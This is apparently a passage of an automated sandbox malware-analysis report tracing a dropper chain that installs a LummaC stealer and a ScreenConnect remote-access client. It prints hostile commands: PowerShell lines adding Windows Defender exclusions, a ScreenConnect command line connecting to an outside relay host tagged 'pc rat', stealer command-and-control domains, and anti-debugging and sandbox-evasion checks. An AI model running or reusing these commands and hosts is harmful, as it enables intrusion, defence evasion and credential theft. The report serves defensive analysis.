Source: NN9Dd7c.exe, 00000008.00000002.2963579235.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3143848696.0000019A5C656000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3806173022.0000000004350000.00000004.00000020.00020000.00000000.sdmp, 3d9e1171bb.exe, 00000025.00000003.3262485768.00000000022D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: 54ad0685cd.exe, 00000020.00000003.3334114169.000000000580B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3334070998.0000000005809000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3325784275.0000000005805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arG
Source: file.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 54ad0685cd.exe, 00000020.00000003.3529530669.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05380944 Start: 05380B0D End: 05380AC2		0_2_05380944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05380BB8 Start: 05380BF7 End: 05380BF1		0_2_05380BB8

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05380C35 rdtsc

0_2_05380C35

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7652B mov eax, dword ptr fs:[00000030h]	0_2_00B7652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7A302 mov eax, dword ptr fs:[00000030h]	0_2_00B7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007DA302 mov eax, dword ptr fs:[00000030h]	2_2_007DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007D652B mov eax, dword ptr fs:[00000030h]	2_2_007D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007DA302 mov eax, dword ptr fs:[00000030h]	3_2_007DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007D652B mov eax, dword ptr fs:[00000030h]	3_2_007D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007DA302 mov eax, dword ptr fs:[00000030h]	6_2_007DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007D652B mov eax, dword ptr fs:[00000030h]	6_2_007D652B

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process token adjusted: Debug
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: NN9Dd7c.exe PID: 1592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe

Memory written: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 54ad0685cd.exe, 00000020.00000003.3149997686.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cheapptaxysu.click

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: unknown protection: readonly

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe "C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe "C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe "C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe "C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe "C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe "C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: unknown

Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe "c:\program files (x86)\screenconnect client (98a59bd0eed9222b)\screenconnect.clientservice.exe" "?e=access&y=guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=bgiaaackaabsu0exaagaaaeaaqdpowivy34yvx7xldnh6rbeyx7mmiln2yqyiydjtxyivhosytxx89d0ykoh68eoextotudpmmwjb%2bhrlj3fanftpvu7w8w3%2fxyudewuxwg%2btqxxr6ewby912nykdrowfbxdx6lmxg1gxggrjhc8oc96zv%2fiaqo5glyagtszkkrbpoww4fbvqpxhlufh4mlfe0i0vcmxggintyl8ijgbzr94aneaxwajoe9cjam2haol%2f%2bghmtfybzjisalfnyx3zecprv7vqwznaqjyiqy6qduc2lebs0ntubmsfqrw1t0zok7cezuqjq72qbwf1br8rzf%2b0t3vnsgkiucbljvpsrk7&c=virus101&c=https%3a%2f%2ft.me%2fvirus101screenconnect&c=pc%20rat&c=pc%20rat&c=&c=&c=&c="

Source: file.exe, 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_007BDD91 cpuid

6_2_007BDD91

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017685001\192facf4de.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017685001\192facf4de.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017686001\f5272cef3f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017686001\f5272cef3f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
